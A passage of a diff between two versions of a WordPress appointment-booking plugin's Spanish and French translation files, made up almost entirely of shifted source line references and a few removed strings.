includes\u002Frest\u002Fcontrollers\u002Fmotopress\u002Fappointment\u002Fv1\u002FBookingsRestController.php:144\n #: includes\u002Frest\u002Fcontrollers\u002Fmotopress\u002Fappointment\u002Fv1\u002FBookingsRestController.php:295\n msgid \"Sorry, the selected time slot is already booked.\"\n@@ -4035,38 +4025,38 @@\n msgid \"Pay with your credit card via Stripe. Use the card number 4242424242424242 with CVC 123, a valid expiration date and random 5-digit ZIP-code to test a payment.\"\n msgstr \"Pague con su tarjeta de crédito a través de Stripe. Utilice el número de tarjeta 4242424242424242424242424242 con CVC 123, una fecha de vencimiento válida y código postal aleatorio de 5 dígitos para probar un pago.\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8384\n-#: assets\u002Fjs\u002Felementor-widgets.js:8384\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8823\n-#: assets\u002Fjs\u002Fpublic.js:8384\n+#: assets\u002Fjs\u002Fdivi-modules.js:8385\n+#: assets\u002Fjs\u002Felementor-widgets.js:8385\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8824\n+#: assets\u002Fjs\u002Fpublic.js:8385\n msgid \"Bancontact\"\n msgstr \"Bancontact\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8411\n-#: assets\u002Fjs\u002Felementor-widgets.js:8411\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8850\n-#: assets\u002Fjs\u002Fpublic.js:8411\n+#: assets\u002Fjs\u002Fdivi-modules.js:8412\n+#: assets\u002Fjs\u002Felementor-widgets.js:8412\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8851\n+#: assets\u002Fjs\u002Fpublic.js:8412\n msgid \"iDEAL\"\n msgstr \"iDEAL\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8449\n-#: assets\u002Fjs\u002Felementor-widgets.js:8449\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8888\n-#: assets\u002Fjs\u002Fpublic.js:8449\n+#: assets\u002Fjs\u002Fdivi-modules.js:8450\n+#: assets\u002Fjs\u002Felementor-widgets.js:8450\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8889\n+#: assets\u002Fjs\u002Fpublic.js:8450\n msgid \"Giropay\"\n msgstr \"Giropay\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8349\n-#: assets\u002Fjs\u002Felementor-widgets.js:8349\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8788\n-#: assets\u002Fjs\u002Fpublic.js:8349\n+#: assets\u002Fjs\u002Fdivi-modules.js:8350\n+#: assets\u002Fjs\u002Felementor-widgets.js:8350\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8789\n+#: assets\u002Fjs\u002Fpublic.js:8350\n msgid \"SEPA Direct Debit\"\n msgstr \"Débito directo SEPA\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8476\n-#: assets\u002Fjs\u002Felementor-widgets.js:8476\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8915\n-#: assets\u002Fjs\u002Fpublic.js:8476\n+#: assets\u002Fjs\u002Fdivi-modules.js:8477\n+#: assets\u002Fjs\u002Felementor-widgets.js:8477\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8916\n+#: assets\u002Fjs\u002Fpublic.js:8477\n msgid \"SOFORT\"\n msgstr \"SOFORT\"\n \n@@ -5513,10 +5503,10 @@\n msgstr \"Editar Reservas\"\n \n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-booking.php:24\n-#: assets\u002Fjs\u002Fdivi-modules.js:5645\n-#: assets\u002Fjs\u002Felementor-widgets.js:5645\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6084\n-#: assets\u002Fjs\u002Fpublic.js:5645\n+#: assets\u002Fjs\u002Fdivi-modules.js:5646\n+#: assets\u002Fjs\u002Felementor-widgets.js:5646\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6085\n+#: assets\u002Fjs\u002Fpublic.js:5646\n msgid \"Making a reservation...\"\n msgstr \"Hacer una reserva...\"\n \n@@ -6229,168 +6219,168 @@\n msgstr \"Diciembre\"\n \n #: assets\u002Fjs\u002Fcustomers-page.js:497\n-#: assets\u002Fjs\u002Fdivi-modules.js:6650\n+#: assets\u002Fjs\u002Fdivi-modules.js:6651\n #: assets\u002Fjs\u002Fedit-post.js:1100\n-#: assets\u002Fjs\u002Felementor-widgets.js:6650\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:7089\n-#: assets\u002Fjs\u002Fpublic.js:6650\n+#: assets\u002Fjs\u002Felementor-widgets.js:6651\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:7090\n+#: assets\u002Fjs\u002Fpublic.js:6651\n #: assets\u002Fjs\u002Fsettings-page.js:685\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:2911\n msgid \"Phone number is invalid.\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:5749\n-#: assets\u002Fjs\u002Fdivi-modules.js:7633\n-#: assets\u002Fjs\u002Felementor-widgets.js:5749\n-#: assets\u002Fjs\u002Felementor-widgets.js:7633\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6188\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8072\n-#: assets\u002Fjs\u002Fpublic.js:5749\n-#: assets\u002Fjs\u002Fpublic.js:7633\n+#: assets\u002Fjs\u002Fdivi-modules.js:5750\n+#: assets\u002Fjs\u002Fdivi-modules.js:7634\n+#: assets\u002Fjs\u002Felementor-widgets.js:5750\n+#: assets\u002Fjs\u002Felementor-widgets.js:7634\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6189\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8073\n+#: assets\u002Fjs\u002Fpublic.js:5750\n+#: assets\u002Fjs\u002Fpublic.js:7634\n msgid \"You will be redirected to a secure page to complete the payment.\"\n msgstr \"Serás redirigido a una página segura para completar el pago.\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:5960\n-#: assets\u002Fjs\u002Felementor-widgets.js:5960\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6399\n-#: assets\u002Fjs\u002Fpublic.js:5960\n+#: assets\u002Fjs\u002Fdivi-modules.js:5961\n+#: assets\u002Fjs\u002Felementor-widgets.js:5961\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6400\n+#: assets\u002Fjs\u002Fpublic.js:5961\n msgid \"Subtotal\"\n msgstr \"Subtotal\"\n \n #. Translators: %s: Coupon code.\n-#: assets\u002Fjs\u002Fdivi-modules.js:5970\n-#: assets\u002Fjs\u002Felementor-widgets.js:5970\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6409\n-#: assets\u002Fjs\u002Fpublic.js:5970\n+#: assets\u002Fjs\u002Fdivi-modules.js:5971\n+#: assets\u002Fjs\u002Felementor-widgets.js:5971\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6410\n+#: assets\u002Fjs\u002Fpublic.js:5971\n #, js-format\n msgid \"Coupon: %s\"\n msgstr \"Cupón: %s\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:5982\n-#: assets\u002Fjs\u002Fdivi-modules.js:8135\n-#: assets\u002Fjs\u002Fdivi-modules.js:8650\n-#: assets\u002Fjs\u002Felementor-widgets.js:5982\n-#: assets\u002Fjs\u002Felementor-widgets.js:8135\n-#: assets\u002Fjs\u002Felementor-widgets.js:8650\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6421\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8574\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:9089\n-#: assets\u002Fjs\u002Fpublic.js:5982\n-#: assets\u002Fjs\u002Fpublic.js:8135\n-#: assets\u002Fjs\u002Fpublic.js:8650\n+#: assets\u002Fjs\u002Fdivi-modules.js:5983\n+#: assets\u002Fjs\u002Fdivi-modules.js:8136\n+#: assets\u002Fjs\u002Fdivi-modules.js:8651\n+#: assets\u002Fjs\u002Felementor-widgets.js:5983\n+#: assets\u002Fjs\u002Felementor-widgets.js:8136\n+#: assets\u002Fjs\u002Felementor-widgets.js:8651\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6422\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8575\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:9090\n+#: assets\u002Fjs\u002Fpublic.js:5983\n+#: assets\u002Fjs\u002Fpublic.js:8136\n+#: assets\u002Fjs\u002Fpublic.js:8651\n msgid \"Total\"\n msgstr \"Total\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6005\n-#: assets\u002Fjs\u002Felementor-widgets.js:6005\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6444\n-#: assets\u002Fjs\u002Fpublic.js:6005\n+#: assets\u002Fjs\u002Fdivi-modules.js:6006\n+#: assets\u002Fjs\u002Felementor-widgets.js:6006\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6445\n+#: assets\u002Fjs\u002Fpublic.js:6006\n msgid \"Deposit\"\n msgstr \"Depósito\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6010\n-#: assets\u002Fjs\u002Felementor-widgets.js:6010\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6449\n-#: assets\u002Fjs\u002Fpublic.js:6010\n+#: assets\u002Fjs\u002Fdivi-modules.js:6011\n+#: assets\u002Fjs\u002Felementor-widgets.js:6011\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6450\n+#: assets\u002Fjs\u002Fpublic.js:6011\n msgid \"Paying now\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6548\n-#: assets\u002Fjs\u002Felementor-widgets.js:6548\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6987\n-#: assets\u002Fjs\u002Fpublic.js:6548\n+#: assets\u002Fjs\u002Fdivi-modules.js:6549\n+#: assets\u002Fjs\u002Felementor-widgets.js:6549\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6988\n+#: assets\u002Fjs\u002Fpublic.js:6549\n msgid \"Coupon code is empty.\"\n msgstr \"El código del cupón está vacio.\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6557\n-#: assets\u002Fjs\u002Felementor-widgets.js:6557\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6996\n-#: assets\u002Fjs\u002Fpublic.js:6557\n+#: assets\u002Fjs\u002Fdivi-modules.js:6558\n+#: assets\u002Fjs\u002Felementor-widgets.js:6558\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6997\n+#: assets\u002Fjs\u002Fpublic.js:6558\n msgid \"Coupon code applied successfully.\"\n msgstr \"Código de cupón aplicado con éxito.\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6559\n-#: assets\u002Fjs\u002Felementor-widgets.js:6559\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6998\n-#: assets\u002Fjs\u002Fpublic.js:6559\n+#: assets\u002Fjs\u002Fdivi-modules.js:6560\n+#: assets\u002Fjs\u002Felementor-widgets.js:6560\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6999\n+#: assets\u002Fjs\u002Fpublic.js:6560\n msgid \"Sorry, your booking is not eligible for this coupon.\"\n msgstr \"Lo sentimos, su reserva no es elegible para este cupón.\"\n \n #. Translators: %s: Business name.\n-#: assets\u002Fjs\u002Fdivi-modules.js:7563\n-#: assets\u002Fjs\u002Felementor-widgets.js:7563\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8002\n-#: assets\u002Fjs\u002Fpublic.js:7563\n+#: assets\u002Fjs\u002Fdivi-modules.js:7564\n+#: assets\u002Fjs\u002Felementor-widgets.js:7564\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8003\n+#: assets\u002Fjs\u002Fpublic.js:7564\n #, js-format\n msgid \"By providing your IBAN and confirming this payment, you authorise (A) %s and Stripe, our payment service provider, to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with those instructions. You are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. A refund must be claimed within 8 weeks starting from the date on which your account was debited.\"\n msgstr \"Al proporcionar su IBAN y confirmar este pago, usted autoriza (A) %s y Stripe, nuestro proveedor de servicios de pago, a enviar instrucciones a su banco para que cargue el importe en su cuenta y (B) a su banco para que cargue el importe en su cuenta de acuerdo con dichas instrucciones. Usted tiene derecho a un reembolso de su banco en virtud de los términos y condiciones de su acuerdo con su banco. El reembolso debe reclamarse en un plazo de 8 semanas a partir de la fecha en que se haya hecho el cargo en su cuenta.\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7584\n-#: assets\u002Fjs\u002Felementor-widgets.js:7584\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8023\n-#: assets\u002Fjs\u002Fpublic.js:7584\n+#: assets\u002Fjs\u002Fdivi-modules.js:7585\n+#: assets\u002Fjs\u002Felementor-widgets.js:7585\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8024\n+#: assets\u002Fjs\u002Fpublic.js:7585\n msgid \"Credit or debit card\"\n msgstr \"Tarjeta de crédito o débito\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7588\n-#: assets\u002Fjs\u002Felementor-widgets.js:7588\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8027\n-#: assets\u002Fjs\u002Fpublic.js:7588\n+#: assets\u002Fjs\u002Fdivi-modules.js:7589\n+#: assets\u002Fjs\u002Felementor-widgets.js:7589\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8028\n+#: assets\u002Fjs\u002Fpublic.js:7589\n msgid \"or\"\n msgstr \"o\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7603\n-#: assets\u002Fjs\u002Felementor-widgets.js:7603\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8042\n-#: assets\u002Fjs\u002Fpublic.js:7603\n+#: assets\u002Fjs\u002Fdivi-modules.js:7604\n+#: assets\u002Fjs\u002Felementor-widgets.js:7604\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8043\n+#: assets\u002Fjs\u002Fpublic.js:7604\n msgid \"Select iDEAL Bank\"\n msgstr \"Seleccionar banco iDEAL\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7618\n-#: assets\u002Fjs\u002Felementor-widgets.js:7618\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8057\n-#: assets\u002Fjs\u002Fpublic.js:7618\n+#: assets\u002Fjs\u002Fdivi-modules.js:7619\n+#: assets\u002Fjs\u002Felementor-widgets.js:7619\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8058\n+#: assets\u002Fjs\u002Fpublic.js:7619\n msgid \"IBAN\"\n msgstr \"IBAN\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7882\n-#: assets\u002Fjs\u002Felementor-widgets.js:7882\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8321\n-#: assets\u002Fjs\u002Fpublic.js:7882\n+#: assets\u002Fjs\u002Fdivi-modules.js:7883\n+#: assets\u002Fjs\u002Felementor-widgets.js:7883\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8322\n+#: assets\u002Fjs\u002Fpublic.js:7883\n msgid \"Payment methods\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8094\n-#: assets\u002Fjs\u002Felementor-widgets.js:8094\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8533\n-#: assets\u002Fjs\u002Fpublic.js:8094\n+#: assets\u002Fjs\u002Fdivi-modules.js:8095\n+#: assets\u002Fjs\u002Felementor-widgets.js:8095\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8534\n+#: assets\u002Fjs\u002Fpublic.js:8095\n msgid \"Card\"\n msgstr \"Tarjeta\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:10130\n-#: assets\u002Fjs\u002Fedit-post.js:7677\n-#: assets\u002Fjs\u002Felementor-widgets.js:10130\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:10569\n-#: assets\u002Fjs\u002Fpublic.js:10130\n+#: assets\u002Fjs\u002Fdivi-modules.js:10131\n+#: assets\u002Fjs\u002Fedit-post.js:7678\n+#: assets\u002Fjs\u002Felementor-widgets.js:10131\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:10570\n+#: assets\u002Fjs\u002Fpublic.js:10131\n msgid \"Sorry, but we were unable to allocate time slots for the date you selected.\"\n msgstr \"Lo sentimos, pero no hemos podido asignar franjas horarias para la fecha que ha seleccionado.\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:10777\n-#: assets\u002Fjs\u002Felementor-widgets.js:10777\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11216\n-#: assets\u002Fjs\u002Fpublic.js:10777\n+#: assets\u002Fjs\u002Fdivi-modules.js:10778\n+#: assets\u002Fjs\u002Felementor-widgets.js:10778\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11217\n+#: assets\u002Fjs\u002Fpublic.js:10778\n msgid \"Sorry, there are no services, employees or locations to book.\"\n msgstr \"Lo sentimos, no hay servicios, empleados o ubicaciones para reservar.\"\n \n #. Translators: %s: Checkbox label.\n-#: assets\u002Fjs\u002Fedit-post.js:9005\n+#: assets\u002Fjs\u002Fedit-post.js:9006\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3220\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:2976\n #, js-format\n msgid \"To enable this option, you need to check the '%s' box.\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fedit-post.js:9006\n+#: assets\u002Fjs\u002Fedit-post.js:9007\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3238\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:2977\n msgid \"To enable booking for the specific service only, select the service below first, then uncheck the 'Service' box here.\"\n@@ -6400,19 +6390,19 @@\n msgid \"Colors\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11400\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11710\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11981\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12284\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12638\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12761\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12884\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13007\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13130\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13253\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13376\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13499\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13622\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11401\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11711\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11982\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12285\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12639\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12762\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12885\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13008\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13131\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13254\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13377\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13500\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13623\n msgid \"appointment\"\n msgstr \"cita\"\n \nBinary files \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Flanguages\u002Fmotopress-appointment-fr_FR.mo and \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Flanguages\u002Fmotopress-appointment-fr_FR.mo differ\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Flanguages\u002Fmotopress-appointment-fr_FR.po \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Flanguages\u002Fmotopress-appointment-fr_FR.po\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Flanguages\u002Fmotopress-appointment-fr_FR.po\t2026-06-23 11:36:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Flanguages\u002Fmotopress-appointment-fr_FR.po\t2026-06-30 15:16:08.000000000 +0000\n@@ -176,16 +176,6 @@\n msgid \"Help\"\n msgstr \"Aide\"\n \n-#: includes\u002Fadmin-pages\u002Fcustom\u002FSettingsPage.php:199\n-msgid \"Settings saved.\"\n-msgstr \"Réglages enregistrés.\"\n-\n-#: includes\u002Fadmin-pages\u002Fcustom\u002FSettingsPage.php:265\n-msgid \"Save Changes\"\n-msgstr \"Sauvegarder changements\"\n-\n-#: includes\u002Fadmin-pages\u002Fcustom\u002FSettingsPage.php:400\n-#: includes\u002Fadmin-pages\u002Fcustom\u002FSettingsPage.php:409\n #: includes\u002Felementor\u002Fwidgets\u002FAppointmentFormWidget.php:71\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeAdditionalInfoWidget.php:35\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeContactsWidget.php:35\n@@ -202,18 +192,18 @@\n #: includes\u002Fmetaboxes\u002Fnotification\u002FNotificationSettingsMetabox.php:26\n #: templates\u002Fprivate\u002Fpages\u002Fwizard.php:12\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3245\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11506\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11801\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12087\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12405\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12686\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12809\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12932\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13055\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13178\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13301\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13424\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13547\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11507\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11802\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12088\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12406\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12687\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12810\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12933\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13056\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13179\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13302\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13425\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13548\n msgid \"Settings\"\n msgstr \"Réglages\"\n \n@@ -237,27 +227,27 @@\n msgid \"Filtered bookings for customer\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:486\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:494\n msgid \"All Services\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:511\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:519\n msgid \"All Employees\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:536\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:544\n msgid \"All Locations\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:573\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:581\n msgid \"Export\"\n msgstr \"Exporter\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:574\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:582\n msgid \"Cancel Export\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:589\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:597\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManagePaymentsPage.php:71\n #: includes\u002Fcrons\u002FExportBookingsCron.php:347\n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeAdditionalInfoModule.php:27\n@@ -276,18 +266,18 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeServicesListWidget.php:43\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeSocialNetworksWidget.php:44\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeTitleWidget.php:44\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12689\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12812\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12935\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13058\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13181\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13304\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13427\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13550\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12690\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12813\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12936\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13059\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13182\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13305\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13428\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13551\n msgid \"ID\"\n msgstr \"ID\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:590\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:598\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageEmployeesPage.php:149\n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:97\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:113\n@@ -297,11 +287,11 @@\n #: includes\u002Fpost-types\u002FServicePostType.php:117\n #: assets\u002Fjs\u002Fanalytics-page.js:33399\n #: assets\u002Fjs\u002Fcalendar-page.js:45376\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12464\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12465\n msgid \"Services\"\n msgstr \"Services\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:590\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:598\n #: includes\u002Fcrons\u002FExportBookingsCron.php:354\n #: includes\u002Fdivi\u002Fmodules\u002FAppointmentFormModule.php:64\n #: includes\u002Fdivi\u002Fmodules\u002FAppointmentFormModule.php:126\n@@ -321,14 +311,14 @@\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-admin-cart.php:33\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-service-form.php:102\n #: assets\u002Fjs\u002Fcalendar-page.js:38165\n-#: assets\u002Fjs\u002Fedit-post.js:9005\n+#: assets\u002Fjs\u002Fedit-post.js:9006\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3256\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3303\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:2976\n msgid \"Service\"\n msgstr \"Service\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:591\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:599\n #: includes\u002Fcrons\u002FExportBookingsCron.php:357\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-admin-cart.php:37\n #: templates\u002Fshortcodes\u002Ftemplate-parts\u002Fbooking-details.php:99\n@@ -337,13 +327,13 @@\n msgid \"Date\"\n msgstr \"Date\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:592\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:600\n #: includes\u002Fcrons\u002FExportBookingsCron.php:358\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-admin-cart.php:38\n msgid \"Time\"\n msgstr \"durée\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:593\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:601\n #: includes\u002Fdivi\u002Fmodules\u002FEmployeesListModule.php:87\n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:103\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:104\n@@ -356,12 +346,12 @@\n #: 